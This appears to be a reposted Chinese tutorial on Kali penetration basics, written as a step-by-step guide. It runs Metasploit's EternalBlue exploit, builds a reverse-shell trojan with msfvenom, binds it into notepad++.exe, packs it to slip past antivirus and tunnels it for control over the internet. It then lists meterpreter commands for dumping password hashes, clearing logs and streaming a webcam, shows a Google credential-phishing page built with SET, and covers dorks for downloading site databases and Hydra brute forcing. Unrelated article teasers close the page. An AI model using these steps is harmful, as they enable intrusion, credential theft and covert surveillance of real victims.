kali基础渗透学习,永恒之蓝,木马实战

简介

kali的学习本质是在linux上对一些攻击软件的使用,只是学习的初期

先在终端切换到root用户,以便于有些工具对权限的要求

下载链接

镜像源kali

攻击流程

公网信息搜集

寻找漏洞,突破口,以进入内网

进入内网,对内网有价值信息收集

msf

简介

即 MetaSploit Framework,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。

可以满足渗透测试的全过程

metasploit让复杂的漏洞攻击流程变的非常简单,一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击

本质是利用别人开发好的工具,只能对一些老旧系统攻击

如下,模拟使用msf利用永恒之蓝漏洞(因为可以导致蓝屏命名)

在终端输入下面代码启动

msfdb init
msfconsole

可以db_status查看msf是否连接到postgresql ,用workplace 查看当前工作区

文件结构

安装路径在/usr/share/metasploit-framework/modules/ 其中有以下类型的模块

  1. Auxiliary(辅助模块):这些模块用于辅助渗透测试,包括端口扫描、登录密码爆破、漏洞验证等功能。
  2. Exploits(漏洞利用模块):这些模块包含了主流的漏洞利用脚本,通常用于对可能存在漏洞的目标进行漏洞利用。命名规则一般是操作系统/各种应用协议分类。
  3. Payloads(攻击载荷):这些模块包含了在攻击成功后在目标机器执行的代码,例如反弹shell的代码。
  4. Post(后渗透阶段模块):这些模块在漏洞利用成功获得 meterpreter 之后,向目标发送一些功能性指令,如提权等。
  5. Encoders(编码器模块):这些模块包含各种编码工具,用于对 payload 进行编码加密,以绕过入侵检测和过滤系统。
  6. Evasion(躲避模块):这些模块用于生成免杀 payload,以绕过安全软件的检测。
  7. Nops(空指令模块):由于IDS/IPS会检查数据包中的不规则数据,在某些情况下,比如针对溢出攻击,使用特殊的滑行字符串(NOPS x90x90…)可以避免攻击失效。

永恒之蓝漏洞攻击示例

然后搜索该漏洞的相关渗透工具,每个漏洞都有自己的编号,通过编号搜索,可以在Twitter,github或者微软的安全补丁里面获取较新的漏洞,或者上官网

search ms17_010 # 微软把永恒之蓝漏洞编号为2017年的第10号漏洞

得到

   #  Name                                      Disclosure Date  Rank     Check  Description-  ----                                      ---------------  ----     -----  -----------0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection

其中,exploit攻击工具,auxiliary是辅助工具

输入对应编号来使用模块

use 0

退出

back

然后就是设置参数,下面命令查看有那些需要设置

options

得到下面,然后对每个required为yes的参数进行设置

将Module options设置为目标机器以利用漏洞,Payload options是通过该漏洞执行的实际恶意代码

Module options (exploit/windows/smb/ms17_010_eternalblue):Name           Current Setting  Required  Description----           ---------------  --------  -----------RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit                                           RPORT          445              yes       The target port (TCP)SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affectsWindows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.SMBPass                         no        (Optional) The password for the specified usernameSMBUser                         no        (Optional) The username to authenticate asVERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.Payload options (windows/x64/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)LHOST     192.168.234.133  yes       The listen address (an interface may be specified)LPORT     4444             yes       The listen portExploit target:Id  Name--  ----0   Automatic Target

如下设置局域网内的ip地址

set RHOSTS 192.168.234.134

然后执行该模块

run

执行成功后就可以使用meterpreter来执行一些恶意攻击了

输入help可以查看可以执行的指令

如截图,拍照,下载文件等

闲置不用是可以使用exit或background

木马

生成

我们最常使用msfvenom生成远控木马,可以不使用漏洞,执行一些普通权限的操作

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.235.241 lport=9999 -f exe -o Trojan.exe
下面是命令的解释
-venom 毒液
-p payload
/windows/x64/meterpreter/reverse_tcp  payload的系统,架构,作用,方式
lhost=192.168.123.136 lport=9999 payload的设置
-f format
exe windows可执行文件
-o output
Trojan.exe 文件名

有木马之后我们需要进行免杀处理。

监听

用于监听目标是否点开木马

使用模块

use exploit/multi/handler

设置参数

 set payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.235.241set lport 9999

run执行监听

当我们目标机点击了该文件,我们就可以使用meterpreter控制了

免杀

捆绑木马

在后面加入-x,以同时打开我们的木马,可以防火绒,不能防360

要植入到64位中

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.136 lport=9999 -f exe -x notepad++.exe -o notepad++.exe

加壳

用于保护软件著作权的,防止被逆向分析,同时也可以用来保护我们的木马

vmp(Virtual Machine Protector)虚拟机壳,有效的

upx(Ultimate Packer for eXecutables)压缩壳,比较简单

我们使用Themida来加vmp壳

互联网控制

上面的测试是基于局域网的,但我们的木马需要在互联网中传播,所以需要使用隧道网络来实现内网穿透

即被控机器发送到隧道服务器,再转发到我们的kali机器上

我们可以使用Sunny-Ngrok内网穿透服务来实现内网穿透

根据教程开通tcp隧道后,绑定kali的本地端口如127.0.0.1:9999用于handler监听

付费开通后,就可以得到隧道id用于在kali上登录,然后通过ping赠送的域名得到ip以便于生成木马

如下

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=27.xxx.xxx.xxx lport=10210 -f exe -o Trojan.exe

下载软件后登录隧道

./sunny clientid 2231xxxxxxx

然后handler绑定127.0.0.1:9999就可以监听了

materpreter

help :展示帮助菜单

shell:执行目标机器的cmd

background 把当前session放到后台,然后返回‘msf’提示的命令行

session:返回session,使用sessions -i 1命令选择:

cat 查看文件内容:

cd pwd ls 切换目录,查看当前目录:

clearev 清除Windows上的日志,(Clear Event),Windows上的日志可以使用事件查看器 win+r输入eventvwr来查看

download 从目标机上下载文件,注意路径需要使用两个反斜杠:

download c:\\boot.ini

screenshot 截屏

screenshare 实时监控

webcam_stream 打开摄像头

edit 使用vim 编辑文件:

execute 在目标机器上执行命令,以便后台启动cmd进行操作

meterpreter > execute -f cmd.exe -i -H

getid 返回目标主机的服务器名字:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

search 在目标机上搜索具体的文件,可以在整个系统中搜索,也可以在指定的目录下搜索,在创建文件模式时可以使用通配符。

meterpreter > search -f autoexec.bat

upload 上传文件到目标机上,同download 命令一样在路径中需要使用两个反斜杠:

meterpreter > upload evil_trojan.exe c:\\windows\\system32

hashdump dump出Windows上SAM数据库的内容:

meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >

idletime 返回远程主机用户在线的时长:

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >

ipconfig 查看远程主机的网络配置情况:

meterpreter > ipconfigMS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0meterpreter >

migrate 注入到另外一个进程中去:

meterpreter > run post/windows/manage/migrate [*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter >

ps 列出目标当前正在运行的进程:

meterpreter > psProcess list
============PID   Name                  Path---   ----                  ----132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...

RESOURCE resource 命令会一行一行地执行文本文件里的meterpreter命令,默认情况下,命令是在目标机的当前目录下执行,而resource文件则是在攻击机本地工作目录下。

meterpreter > resource 
Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >

参数:

path1:		包含要执行的命令的文件的位置
Path2Run:	在文件中找到的执行命令的位置

示例
使用的resource文件如下:

root@kali:~# cat resource.txt
ls
background
root@kali:~#

执行resource命令:

meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running lsListing: C:\Documents and Settings\Administrator\Desktop
========================================================Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk[*] Running background[*] Backgrounding session 1...
msf  exploit(handler) >

信息收集

服务器信息

ip查域名

cdn服务,将目标服务器内容备份到就近的边缘服务器,以便于更快,更可靠的访问资源。相当于对服务器资源的缓存

我们使用多地ping可以判断该网站是否开启了cdn服务,如果ip不唯一,多半是开启了的

如何绕过cdn?

  1. 因为cdn是按流量收费,覆盖一定区域,所以一般只会对中国区域进行开放,所以我们可以使用国外网络来访问,即国外的ping网站
  2. 或者查询子域名的ip,同样是因为太贵,有的并没用开启cdn服务
  3. 邮件的原文,第一行可以看到
  4. 历史dns记录,因为dns和ip是绑定的,所以可以查看绑定记录来获取开通cdn服务之前的ip,可以通过这个网站查看,其中的A记录就是绑定的历史

C段存活主机探测

即扫描ip地址第3段相同的其他服务器地址,因为申请ip时一般都是申请同一c段的

使用linux的nmap命令进行扫描

也可以使用工具 CWebScanner

git clone https://github.com/se55i0n/Cwebscanner.git

端口

根据服务类型不同,分为tcp和udp端口

我们攻击就是针对不同的端口

网站信息

网站架构(操作系统、中间件、数据库、编程语言)、

指纹信息.WAF、敏感目录、敏感文件、源码泄露、旁站查询、C段查询

域名信息

子域名越多,也容易找到漏洞

kali可以直接命令行whois baidu.com查询信息

可以使用站长工具进行whois查询和icp查询

子域名

  1. 可以直接google搜索site:bilibili.com 详情看下面谷歌黑客
  2. 使用专业fofa搜索 如domain="baidu.com" 该网站是收费的
  3. ssl证书查询,因为网站使用https协议,开启443端口,都会由运营商颁发证书,以完成数据的加密解密,可以在点击浏览器中域名前的🔒查看证书信息
    可以在crt.sh这个网站查询更详细的证书信息,以及子域名
  4. 查看网页源代码,里面的超链接会有很多子域名,可使用工具jsfinder
  5. 爆破破解,因为子域名的功能其实大差不差,一般按照命名规范都可以试试查找,我们可以直接使用字典爆破尝试

谷歌黑客

Google Hacking的基本语法

site:找到与指定网站有联系的URL。例如输入Site:family.chinaok.com,返回所有和这个网站有关的URL。

intitle:返回所有网页标题中包含关键词的网页。例如输入intitle:cbi,这样网页标题中带有 cbi 的网页都会被搜索出来。

inurl:搜索包含有特定字符的URL。例如输入inurl:cbi,则可以找到带有 cbi 字符的URL。

intext:搜索网页正文内容中的指定字符。例如输入intext:cbi,将返回所有在网页正文部分包含 cbi 的网页。

link:例如link:thief.one,返回所有和 thief.one 做了链接的URL。

filetype:搜索指定类型的文件。例如输入filetype:cbi,将返回所有以 cbi 结尾的文件URL。

这些就是Google Hacking的常用语法,虽然这只是Google语法中很小的部分,但是合理使用这些语法将产生意想不到的效果。

Google hacking的常用语法
了解了Google Hacking的基本语法后,我们来看一下黑客是如何使用这些语法的,这些语法在渗透的过程中又会起到怎样的作用呢?

1、寻找网站的后台登录页面:
Intitle

intitle语法通常被用来搜索网站的后台、特殊页面和文件,通过在Google中搜索intitle:登录、intitle:管理就可以找到很多网站的后台登录页面。

Inurl

主要可以分为以下两个方面:寻找网站后台登录地址,搜索特殊URL。

  • 寻找网站后台登录地址:

inurl 可以指定URL中的关键字,我们都知道网站的后台URL都是类似 login.asp、admin.asp为结尾的,那么我们只要以inurl:login.asp、inurl:admin.asp为关键字进行搜索,就可以找到很多网站的后台。此外,我们还可以搜索网站的数据库地址,以inurl:data、inurl:db为关键字进行搜索即可。

  • 搜索特殊URL:

通过 inurl 语法搜索特殊URL,我们可以找到很多网站程序的漏洞,例如要搜索前段日子很火的上传漏洞,我们使用inurl:upload.asp或inurl:upload_soft.asp即可找到很多上传页面。

2、搜索网站中的文件:
Filetype:

Filetype 的作用是搜索指定文件。假如我们要搜索网站的数据库文件,那么可以以filetype:mdb为关键字进行搜索,很快就可以下载到不少网站的数据库文件。

语法组合,威力加倍

虽然上文中介绍的这几个语法能各自完成入侵中的一些步骤,但是只使用一个语法进行入侵,其效率是很低下的。Google Hack的威力在于能将多个语法组合起来,这样就可以快速地找到我们需要的东西。

3、下载网站的数据库:
搜索 Site:target.com Filetype:mdb 就可以寻找目标网站的数据库,其中的 Site 语法限定搜索范围,Filetype决定搜索目标。用这种方法有一个缺点,就是下载到数据库的成功率较低。

4、登录后台管理:
对于网站后台的查找,可以使用语法组合Site:target.com intitle:管理或Site:target.com inurl:login.asp进行搜索,

5、利用google搜索C段服务器信息:
site:218.87.21.*
可通过google可获取 218.87.21.0/24 网络的服务信息。

. 单一的通配符。

*通配符,可代表多个字母。

6、利用其他漏洞:
如果下载数据库不成功,我们还可以尝试其他的入侵方法。例如寻找上传漏洞,搜索 Site:target.com inurl:upload.asp。此外,我们还可以根据一些程序漏洞的特征,定制出Google Hack的语句。

最后推荐一个网站:Exploit DB上有很多大佬总结分享的构造语句,感兴趣的同学可以去看下。

人员信息

(姓名、职务、生日、联系电话、邮件地址)

生成钓鱼网站

打开软件Social-Engineering-Toolkit

选择1)Social-Engineering Attacks,进入下一级菜单

选择2)Website Attack Vectors,进入下一级菜单

选择3) Credential Harvester Attack Method,进入下一级菜单

选择1) Web Templates,进入下一级菜单

输入本机IP,进入下一级

选择2) Google,生成谷歌登录页面

img

按下回车,便开始监听

Social-Engineering-Toolkit生成完成钓鱼页面并开始监听后,我们从靶机访问钓鱼页面。

img

在输入完用户名密码后登录,Social-Engineering-Toolkit会显示收到的用户名和密码

img

其他

以上便是使用Social-Engineering-Toolkit生成钓鱼页面并获取用户信息的全过程。除了使用内置的网站模板外,还可以复制其他网站进行钓鱼。除此之外,我们可以配合Ettercap进行DNS欺骗,增加钓鱼网站的真实性。

本次实验为简单的测试,在实际使用中还需要考虑使用HTTPS协议、跨域访问等种种问题。

Social-Engineering-Toolkit还有许多更为强大的功能,需要慢慢学习。

nmap

简介

Network Mapper,功能如下,官方文档

  1. 检测网络存活主机(主机发现)
  2. 检测主机开放端口(端口发现或枚举)
  3. 检测相应端口软件(服务发现)版本
  4. 检测操作系统,硬件地址,以及软件版本
  5. 检测脆弱性的漏洞(nmap的脚本)

端口扫描返回的信息:open,closed,filtered(数据被防火墙或IDS过滤了)

目标端口

port_attack.png

FTP: 20传输数据,21传输控制信息

SSH:22 可靠的远程登录和网络传输

Telnet:23 没有加密,容易破解

SMTP: 25(smtp) 465(smtps) linux默认开启,可发送钓鱼邮件

www(http):80,因为是通过中间件传输(IIS,apache,nginx等),可以利用中间件漏洞,或者web应用程序漏洞

NetBIOS:139/445 的MS17_010漏洞,445的MS06_040和MS08_067漏洞

MySql:3306,弱口令破解后提权

RDP:3389,可进行远程桌面连接 MS12_020死亡蓝屏,CVE-2019-0708远程桌面漏洞

Weblogic:7001 SSRF,反序列化漏洞

Tomcat:8080, apache的分支,写Java webpage时用到,CVE-2019-0232 CVE-2017-12615

C段域名扫描

nmap -sP -T5 192.168.38.*  

得到以下结果

Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-02 16:36 CST
Nmap scan report for 192.168.38.12
Host is up.
MAC Address: 86:DC:14:1D:5C:FF (Unknown)
Nmap scan report for 192.168.38.124
Host is up (0.00043s latency).
MAC Address: 00:0C:29:4F:9E:5A (VMware)
Nmap scan report for 192.168.38.141
Host is up (0.012s latency).
MAC Address: 70:8F:47:C8:9A:E5 (vivo Mobile Communication)
Nmap scan report for 192.168.38.222
Host is up (0.000099s latency).
MAC Address: BC:6E:E2:22:26:8A (Unknown)
Nmap scan report for 192.168.38.241
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 33.70 seconds

其他scan选项

  • -sS:TCP SYN 扫描,不接收响应,防止IDS探测
  • -sT:TCP 连接扫描
  • -sU:UDP 扫描
  • -sF:FIN 扫描
  • -sX:Xmas 树扫描
  • -sN:Null 扫描

扫描端口

速度控制,如下,T0~T5逐渐变快,T0和T1用于逃避IDS,一般使用T4

扫描范围,1-1023端口

nmap -T0 127.0.0.1

基础方法

单一主机扫描: nmap 192.168.1.2
子网扫描: nmap 192.168.1.1/24
多主机扫描: nmap 192.168.1.1 192.168.1.10
主机范围扫描: nmap 192.168.1.1-100
IP地址列表扫描: nmap -iL target.txt

排除网关扫描 nmap 192.168.1.1/24 --exclude 192.168.1.1

扫描指定端口 nmap -p 80,21,23 192.168.1.1

存活主机扫描

可以扫描自己局域网内有多少存活的主机

nmap -sn -v -T4 -oG Discovery.gnmap 192.168.38.0/24 && grep "Status: Up" Discovery.gnmap | cut -f 2 -d '' > liveHosts.txt

扫描全部端口

nmap -sS -v -T4 -Pn -p 0-65535 -oN FullTCP -iL liveHosts.txt
  • -sS: 这是 TCP SYN 扫描,也称为半开放扫描。它是一种快速的端口扫描方式,通过向目标主机发送 TCP SYN 包来探测端口的状态。
  • -v: Verbose output启用详细输出模式,会显示更多的扫描信息。
  • -T4:Timing template for speed and aggressiveness , 设置扫描速度为 Aggressive(侵略性)模式,以更快的速度完成扫描。
  • -Pn: No ping 跳过主机存活检测。默认情况下,Nmap会进行主机存活检测,但这里使用 -Pn 参数禁用了它,以便更快扫描,不执行不必要的步骤
  • -p 0-65535: 指定要扫描的端口范围。这里设置为扫描从 0 到 65535 的所有端口。
  • -oN FullTCP: Output in normal format将扫描结果输出到名为 FullTCP 的文件中,格式为正常格式。
  • -iL liveHosts.txt: Input from list从 liveHosts.txt 文件中读取要扫描的目标主机列表。

系统扫描 os

nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

版本检测 version

nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

端口漏洞扫描

nmap.exe -p445 -v --script smb-ghost 192.168.1.0/24

SMB,Server Message Block,用于计算机共享资源的网络协议

信息网站

  1. 🔰雨苁ℒ🔰 - 暗网|黑客|极客|渗透测试|专注信息安全|数据泄露|隐私保护 (ddosi.org)
  2. 乌云(WooYun.org)历史漏洞查询—http://WY.ZONE.CI
  3. 乌云教程WooYun知识库 (kieran.top)
  4. 国外用于搜索各个服务的漏洞,如apache的,可以直接下载exploit文件Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)
  5. 知道创宇 Seebug 漏洞平台 - 洞悉漏洞,让你掌握前沿漏洞情报!

网站逆向

网站结构

服务器

判断操作系统 linux和win server

ping的ttl,win初始为128,linux初始为64

nmap的 nmap -O -Pn -T4 -A 192.168.234.0/24

windows大小写不敏感,linux敏感

web服务器

也称为中间件,一种专能的模块,功能为请求处理过程中的功能插入,用于实现身份验证、日志记录、错误处理、缓存等功能

其目的是为了处理高并发的请求。

不同的版本的中间件可能存在相应的漏洞

常用的开源中间件apache,nginx(engine X)就是常见攻击对象

查看中间件的方法

  • F12查看文件响应头的server条目就可以看到

  • wappalyzer插件

脚本语言

js,php,asp,Django

数据库

mysql sqlserver oracle access

可以进行指纹探测

CMS

内容管理系统,用于提供接口给飞专业人员。

因为漏洞非常多,养活了大部分渗透工程师

如吾爱破解底部的Powered by Discuz! 说明了其CMS为Discuz

其他的还有phpcms,dedecms

可以通过iceyhexman来识别网站的cms

网站指纹

网站指纹(Web Fingerprinting)是指从网站的各种可见和不可见特性中收集一组独特的标识信息,这些信息能够唯一或接近唯一地识别和区分一个网站或其组件。它可以包含以下几个方面的内容:

  1. Web服务器指纹

    • Web服务器类型(如Apache、Nginx、IIS等)及其版本信息,这些信息可以从HTTP响应头中的Server字段获得。
  2. Web应用程序指纹

    • 网站使用的框架(如Django、Ruby on Rails、ASP.NET等)、内容管理系统(CMS)如WordPress、Drupal、Discuz等的类型和版本。
  3. 技术栈识别

    • JavaScript库、CSS样式表、前端框架(Vue.js、React.js等)以及其他客户端技术的版本信息。
  4. 配置信息

    • Cookie策略、HTTPS证书详情、X-Powered-By头信息及其他HTTP头部信息,它们可以揭示服务器的一些配置细节。
  5. 动态行为分析

    • 通过对网站请求响应、错误消息和其他交互行为的分析,识别网站特有的处理方式或漏洞。

网站指纹技术广泛应用于网络安全、情报收集、竞争对手分析、渗透测试等领域。例如,安全研究人员可以通过识别网站的指纹来查找潜在的安全漏洞,而市场营销人员则可能利用网站指纹来分析竞争对手的技术栈。此外,不良意图的第三方可能会利用指纹信息进行用户跟踪,绕过隐私保护措施,或者关联不同账号间的活动。

敏感文件和目录

文件

在上传时,误上传了一些重要文件,或者查看源代码中的config文件

路径出现github可以直接到库里搜索账户等信息

当发现.git或.svn,使用GitHack或svnExploit还原出源代码

目录

使用dirsearch或dirmap

网站waf

waf,Web Application Firewall,即Web应用程序防火墙

硬件waf就是ids这种

软件waf是对一些request的过滤,有很多种不同的waf,我们可以对症下药。

常见waf如下

  1. 针对传统与基础性攻击的防护

    • 防止SQL注入攻击,这类攻击利用输入验证漏洞将恶意SQL代码插入到数据库查询语句中以获取、修改或删除数据。
    • 阻止XSS(Cross-Site Scripting)跨站脚本攻击,这种攻击通过植入恶意脚本到网页中,进而影响其他用户浏览时触发执行,造成信息泄露或进一步危害。
    • 预防CSRF(Cross-Site Request Forgery)跨站请求伪造,攻击者诱导用户在不知情的情况下执行操作,利用用户的有效会话发起非法请求。
  2. 对抗自动化恶意行为

    • 抵御暴力破解,即尝试大量密码组合直至成功登录账户的行为。
    • 防范撞库攻击,攻击者使用已知账号信息集合去匹配目标系统,以获取更多未授权访问。
    • 制止批量注册自动发帖等垃圾信息制造行为,保持网站生态健康有序。
  3. 应对其他多样化安全挑战

    • 阻截网络爬虫的过度抓取,防止资源滥用和信息暴露。
    • 防护零日攻击(0DAY),即针对未知漏洞的即时攻击,要求系统具备快速响应未知威胁的能力。
    • 对抗代码分析数据嗅探,加强代码混淆与加密传输,防止源代码被解析和敏感数据被监听截取。
    • 防止未经授权的数据篡改越权访问,确保数据完整性和访问控制机制的有效性。
    • 遏制敏感信息泄漏,强化数据安全管控,确保个人隐私和企业机密不外泄。
    • 应对应用层DDoS(Distributed Denial of Service)攻击,通过流量清洗和智能识别机制减轻服务器压力。
    • 阻止远程恶意包含攻击,这类攻击常常利用文件包含漏洞将恶意代码引入服务器执行。
    • 防止盗链行为,即未经授权直接链接到网站资源,消耗服务器带宽资源。
    • 加强权限管理,防止越权操作,确保每个用户只能在其权限范围内进行操作。
    • 实施主动扫描和防御,检测并抵御各类安全扫描企图,确保网络和应用层面的安全稳定。

识别waf,通过wafw00f

常见漏洞

网络上公布的付费的或者免费的漏洞扫描工具、脚本多种多样。

  • 针对某类漏洞的: sql注入(sqlmap) . weblogic (weblogicscan)
  • 针对某类CMS的: wordpress (wpscan) . dedecms (dedecmsscan)
  • 针对系统应用层: nessus
  • 针对某类框架的: Struts2 (Struts2漏洞检查工具)、springboot (SB-Actuator)
  • 针对web服务的: burpsuite,xray,awvs

AWVS

  • WebScanner :核心功能,web安全漏洞扫描(深度,宽度,限制20个)
  • Site Crawler:爬虫功能,遍历站点目录结构
  • Target Finder :端口扫描,找出web服务器(80、443)
  • Subdomian Scanner子域名扫描器,利用DNS查询
  • Blind SQL Injector :盲注工具
  • Http Editor http:协议数据包编辑器
  • HTTP Sniffer : HTTP协议嗅探器(fiddler,wireshark,bp)
  • HTTP Fuzzer:模糊测试工具(bp)
  • Authentication Tester : Web认证破解工具

burpsuite

最常用的一个工具之一

结合了多种渗透组件,使用java编写

主要是抓包

sqlmap

sql注入的原理,类似浮点数攻击,就是利用对字符串的检查不严谨,让字符串被解析成一部分指令

因为sql的注释是–,所以可以让id为字符串,且注释掉后面的部分,从而在其中添加我们的代码

weblogic

一个oracle的中间件,端口7001

有很多漏洞,所以有专门的攻击工具,应用得很广泛

可用于挖src(Security Response Center),获取赏金

Thinkphp5

轻量级国产php开发框架,有很多cms都是基于php二次开发的

Struts2

url里面有.do或.action后缀

或者判断/struts/webconsole.html是否存在,这是一个该框架下用于debug的页面

jboss

使用fafo搜索app="jboss"

也是oracle家的,一个管理服务器资源调度的中间件

Fastjson

一款阿里巴巴家的开源json解析器,因为性能优越,被用于很多java项目中

Shiro

Apache系列的,是一个易用的java框架,同时提高了安全性

如漏洞Shiro-550,因为该框架提供了记住密码的功能,通过生成加密的cookie,服务端会先base64解码,然后AES解密,再反序列化,就导致了反序列化的REC漏洞

Redis

内网中比较常见,是一个完全开源的一个高性能键值对数据库

绑定在6379端口

可用nmap -v -Pn -p 6379 -sV --script="redis-info"来发现是否是redis

暴力破解

应用场景

  • 验证码
  • 不含验证码后台
  • 各种应用程序,比如: phpmyadmin、tomcat、mysql各种协议: ftp、 ssh、rdp等
  • 爆破大马

破解过程

可以使用kali自带的Hydra,也称为九头蛇

常见参数

  • -l:指定用户名(login),后面跟上用户名。
    • 例如:hydra -l root 指定用户名为root。
  • -p:指定密码(password),后面跟上密码。如果要使用密码字典,通常需要指定两次-p参数,一次用于用户名,一次用于密码。
    • 例如:hydra -l root -p password 指定用户名为root,密码为password。
  • -c:使用冒号(:)分隔的用户名和密码组合,用于尝试用户名和密码的组合。
    • 例如:hydra -l root -c root:root 尝试用户名和密码组合root:root。
  • -M:指定目标列表文件(file with host:port pairs),用于批量处理目标。使用metasploit框架
    • 例如:hydra -l root -M targets.txt 从targets.txt文件中读取目标列表进行攻击。
  • -f:在找到第一对有效的登录名或密码时停止攻击。
    • 例如:hydra -l root -p password -f 在找到第一个成功的登录凭证后停止攻击。

字典

kali内置字典,在usr/share/wordlists/里面

使用我们的字典爆破,可以在github上找字典

hydra -L /root/Desktop/tools/dic_username_ssh.txt -P ./pwd100.txt 192.168.83.33 ssh -f

内网信息收集

  • 内网基础环境判断
    IP、网关、DNS、是否能连通外网、网络连接及端口、本机host文件、机器的代理、是否在域内,域名是什么
  • 分析机器所处位置区域
    DMZ区、办公区、生产区、核心DB等等
  • 分析机器的角色
    普通WEB服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器等等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802819.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(学习日记)2024.04.10:UCOSIII第三十八节:事件实验

写在前面: 由于时间的不足与学习的碎片化,写博客变得有些奢侈。 但是对于记录学习(忘了以后能快速复习)的渴望一天天变得强烈。 既然如此 不如以天为单位,以时间为顺序,仅仅将博客当做一个知识学习的目录&a…

Golang——方法

一. 方法定义 Golang方法总是绑定对象的实例,并隐式将实例作为第一实参。 只能为当前包内命名类型定义方法参数receiver可以任意命名。如方法中未曾使用,可省略参数名参数receiver类型可以是T或*T。基类型T不能是接口或指针类型(即多级指针)不支持方法重…

2024.4.5-day10-CSS 布局模型(层模型)

个人主页:学习前端的小z 个人专栏:HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结,欢迎大家在评论区交流讨论! 文章目录 作业 2024.4.5-学习笔记1 CSS定位1.1 相对定位 relative1.2 绝对定位 absolut…

多乐空气处理设备有限公司现已加入2024第13届生物发酵展

参展企业介绍 为满足日益发展的中国大陆市场对环境的要求,更接近最终用户,多乐集团于2001年在上海松江设立了第一家生产基地。经过十数年来的高速发展,多乐以其精湛的加工工艺、一流的制造技术方面的优势,在对温度湿度有严格要求…

赛氪网|2024中国翻译协会年会“AI科技时代竞赛与就业”分论坛

在2024年中国翻译协会年会期间,赛氪网与中西部翻译协会共同体多边合作平台共同承办,于3月30日下午在长沙成功举办了“AI科技时代竞赛与就业分论坛”。该论坛汇聚了众多翻译界、科技界和教育界的专家学者,共同探讨科技、实践、就业与竞赛人才培…

秋招算法刷题6

20240408 1.两数之和 &#xff08;时间复杂度是O&#xff08;n的平方&#xff09;&#xff09; public int[] twoSum(int[] nums, int target){int nnums.length; for(int i0;i<n;i){ for(int j1;j<n;j){ if(nums[i][j]target){ …

springboot3使用自定义注解+AOP+redis优雅实现防重复提交

